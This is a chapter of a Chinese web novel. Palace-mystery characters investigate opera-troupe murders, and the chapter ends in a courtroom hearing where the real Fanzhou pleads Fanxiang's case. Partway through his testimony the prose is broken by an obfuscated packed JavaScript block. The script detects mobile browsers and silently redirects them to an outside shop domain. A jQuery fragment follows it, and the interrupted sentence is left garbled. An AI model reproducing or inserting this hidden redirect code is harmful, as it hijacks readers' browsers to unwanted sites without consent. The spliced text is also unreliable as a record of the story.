“殿下,戏场那里又有命案。”影一从刺史那打探完消息回来:“繁香和繁舟的老板唐禾被杀了。”
“先是繁舟被杀,繁香自尽,又是老板被杀,这上元节怎么处处诡异。”裴卿再一旁听的一愣一愣,手里的茶杯差点拿不稳。
沈初锦静静听着,脸上毫无波澜。
影一接着道:“此事重大,已有刺史陈远接手。”
“戏场的其他人呢?”菀云问道。
“都被带走询问了,还有昨日云公子抓到的那个男子叫平撤,是在戏场打杂的,他一直说自己亲眼看到繁香杀了繁舟。”
这件事裴卿一直很难接受,眉头从昨晚到现在都没有舒展过,她喃喃道:“为什么会这样,他们都配合那么久了,要有怨气早就离开了。”
“昨晚繁香的把那场戏唱完了,还记得内容吗?”沈初锦看向裴卿:“‘终是,梨花离人,悲切,愿与君同眠’。”
裴卿眼底闪过一丝了然:“你的意思是,繁香早就知道繁舟死了,她才殉情的?”
“不排除这个可能。”
“繁香和繁舟配合十五年,两人自小认识,同被唐禾看中。”云笙辞将调查到的有关繁香和繁舟的信息给裴卿。
裴卿脑子里闪过一个大胆的想法:“会不会是繁香和繁舟两人互生情愫,被唐禾发现,唐禾就把繁舟杀了,繁香殉情。”
“有理,那唐禾极有可能是繁香殉情前杀的。”菀云附和道。
沈初锦看向窗外,那条祈安河。
河水静静留着,还有几盏零零散散的花灯在上面漂浮,毫无波澜,似乎什么也发生一样。
“在想什么?”云笙辞走到她身边,一同看向窗外。
“感觉漏了什么。”沈初锦回道。
“那个叫平撤的反应太过反常,何况,大家都一致认为死的是繁香和繁舟,但是刺史那还没有真正调查出死者的身份。”云笙辞将分析后的结论说出来。
沈初锦不可否认地点点头,她转头看向云笙辞。
和之前没什么不同,但也有些变化,她说不上来。
张张嘴,最后什么也没说。
裴卿这两日一直留意着刺史那里的消息,沈初锦原先的计划是来陇州调查徐家的事,这一变故她自己也没料到,但看裴卿这样,也留了一半的人暗中调查繁香和繁舟的事。
经仵作查验,繁香是自杀,唐禾是他杀,而那个白瓷瓶上的人头真正的主人不是繁舟。
这也是令人意外的一点,戏场的其他人被带走审问,一些害怕的人交代了真正的繁舟已经离开了戏场,这个繁舟只是和他长得相似而已。
另外,官兵去搜查繁香的屋子,发现她的屋子许多白瓷瓶,都是近日来陇州购置的。
其他人也说,繁香一直很喜欢收集这些白瓷瓶,每到一个地方她都要买。
繁舟在上一次和繁香唱完戏就离开了,没人知道他为什么离开,也不知他去了哪。
而平撤除了说繁舟是繁香杀的,其他都只字不提。
无论之间还有什么不为人知的东西,繁香杀了唐禾和假的繁舟,这些证据已经找到了,都是既定的事实了。
裴卿郁郁寡欢,她还是不能明白,繁香为何如此,繁舟又去了哪里,为什么不出现。
菀云不忍心一直看着她这副样子,安慰道:“很多事未必有理由,不过是凭心而论。”
裴卿沉默了很久,大抵是想开了,又或许是觉得已经注定好的事没必要再纠结。
她长舒了一口气,看向一旁看信的沈初锦,问道:“小锦儿,你说,凭心而论,凭的是什么心?”
沈初锦放下信纸,对她的问题有些好奇。
“怎么突然问这个?”
“就有感而发,想问问。”裴卿搬来把椅子坐到她身边。
“书上说,凭心而论,凭的是自己的内心真实所想。”沈初锦回想起书上的内容。
裴卿追问道:“依你看,繁香是不是已经知道繁舟死了,也知道可能是唐禾杀的,所以报复回去,这凭的是繁香的私心,还是她的善心?”
“或许都有。”沈初锦简言回答她。
“殿下,徐州有消息。”影一进来禀告。
沈初锦迅速接过信查看,裴卿也没有再追问。
“又是八年前贪污案。”
影一解释道:“我们将八年前还在陇州的人都问了一遍过去,有人说漏了嘴,当年事发,先是怀疑徐家,后又怀疑当年抓到的人,后面徐家通敌,此事就被压下去了。”
“怀疑徐家。”沈初锦重复着这句话
“此事卷宗上没有任何和徐家有关的。”
“但这个怀疑绝对不是空口无据。”沈初锦笃定,接着问:“当年贪污的粮食卷宗上可有记载?”
“并没有。”影一摇摇头。
当年因为徐家通敌一事,对贪污案的记载并不详细。
“和县地下的粮食,除了一部分和县贪污的做幌子,在更深处的粮食或许就是从陇州运过去的贪污粮,但不确定一共多少,其他的粮食又在哪里。”
沈初锦推测着,她的指尖落在信纸上,轻轻点着,眉头微微蹙起。
陇州八年前的贪污案又和徐家通敌有什么关联。
陇州刺史陈远想快些将这个案子结下来,但真正的繁舟来了,他敲响了登闻鼓。
来申冤的。
每逢登闻鼓敲响,官员全部临场。
裴卿央求了沈初锦许久,方能前去。
陈远见到沈初锦时也是颇为意外,但平撤是沈初锦的人抓到的,只是他没想到沈初锦也会过问此事。
沈初锦拒绝了陈远诚邀上座,在角落的一把椅子上坐下。
确保裴卿能看到就行。
“敲鼓之人是何身份。”陈远坐在首位,看向堂中央的繁舟,神色严肃。
“草民繁舟。”繁舟神色淡定,平视前方,波澜不惊。
“为何敲鼓?”
“草民要为繁香申冤。”
“你可知,她已是罪犯,杀了两个人。”
繁舟深吸了口气,道:“我知,可她也是被逼的。”
陈远沉默一瞬,又看了一眼沈初锦,道:“如实说来。”
裴卿的手紧紧握着,她在隐忍,也在期待。
沈初锦漫不经心地喝着茶,视线落在繁舟身上,眼底闪过一丝了然。
繁舟咬咬牙,手握成拳头,肉眼可见手上青筋凸起。
“我和繁香两情相悦,被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816037|210633||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
唐禾知道,他先是警告,尔后又将我赶走,换了一个和我相似的人代替我的位置。”
“繁香杀唐禾是因为,唐禾生前凌辱她,她气不过才动手的,不是蓄意杀人唐禾也该死。”
堂内静了一瞬,有一个官员开口:“就算如此,她又为何杀代替你的人。”
“那个人也曾欺辱过繁香。”繁舟的底气明显有些不足。
陈远示意侍卫,将平撤带上来。
平撤看到繁舟很是震惊,脱口而出:“你竟然没死?”
繁舟认出平撤,看向陈远道:“刺史大人,平撤是唐禾的人。”
平撤讥笑一声道:“我当然是老板的人,我们都是。”
“繁舟,你说这些可有证据?”陈远开口道。
“在繁香的白瓷瓶里,有她和我诉说唐禾凌辱她的信件。”繁舟淡淡回道。
陈远示意让侍卫去查证。
平撤一副无所谓的样子,喃喃道:“来往书信算什么证据,倒是能将你们两个做的事都捅出来。”
“肃静!”陈远不满地瞥了平撤一眼。
侍卫回来,将找到的书信呈交给陈远,陈远以及各位官员一同查看。
他们的眉头渐渐皱起。
陈远开口道:“繁舟,唐禾凌辱繁香一事虽有证据,那她杀假冒你的那个人,又该做何解释?”
“大人,不如让我说吧。”平撤率先开口。
“本官没问你。”
繁舟沉默着,眼睛轻轻闭上,像是任命般。
陈远继续问:“繁舟,可有证据?”
良久,繁舟摇头:“没有。”
平撤嗤笑一声,看向陈远:“大人,请听我一言。”
“说。”
“繁香和繁舟相互喜欢,一次幽会被老板撞到,而老板要赚钱,又喜欢繁香,便将繁舟赶走,换了一个和繁舟长得相似的人。接过繁香发现真正的繁舟不见了,气急败坏,将假的那个繁舟杀了,还把老板杀了,自己也自杀。”
“真是感人,她以为繁舟死了,结果繁舟还来为她申冤。”
“大人,我何错之有,我不过是想卷钱跑路罢了,老板又有什么错?他只是想赚钱。”
裴卿忍不住开口:“你明知却不阻止,你和你老板都不是东西!”沈初锦忙将裴卿拉住。
碍于沈初锦的原因,陈远没敢阻止,只能轻咳几声道:“唐禾凌辱繁香的事有证据,有过。”他又看向繁舟,道:“但,繁香故意杀害人,无疑,繁舟,你可有意义?”
繁舟身体踉跄地退了几步,缓缓开口道:“大人,但是唐禾该死,他这些年为了多节省银子,给我们用的东西都是劣质的,还常常苛待我们。”
他似是又有了底气,抬头看向陈远:“大人,这样的人不除掉,我们这样的人如何安生?他那样的人,早该死了。”
公堂安静下来,官员们面面相觑,但没有人敢说话。
“大人,我想看看繁香。”繁舟跪下,央求陈远。
平撤都有些看不下去了,脸上写满了嫌弃,道:“你至于吗?为了她,来公堂上对峙一败涂地,大人都没罚你,你还敢提要求。要是当年你们好好的唱戏,不违背老板的命令,又何至于如此,愚蠢至极。”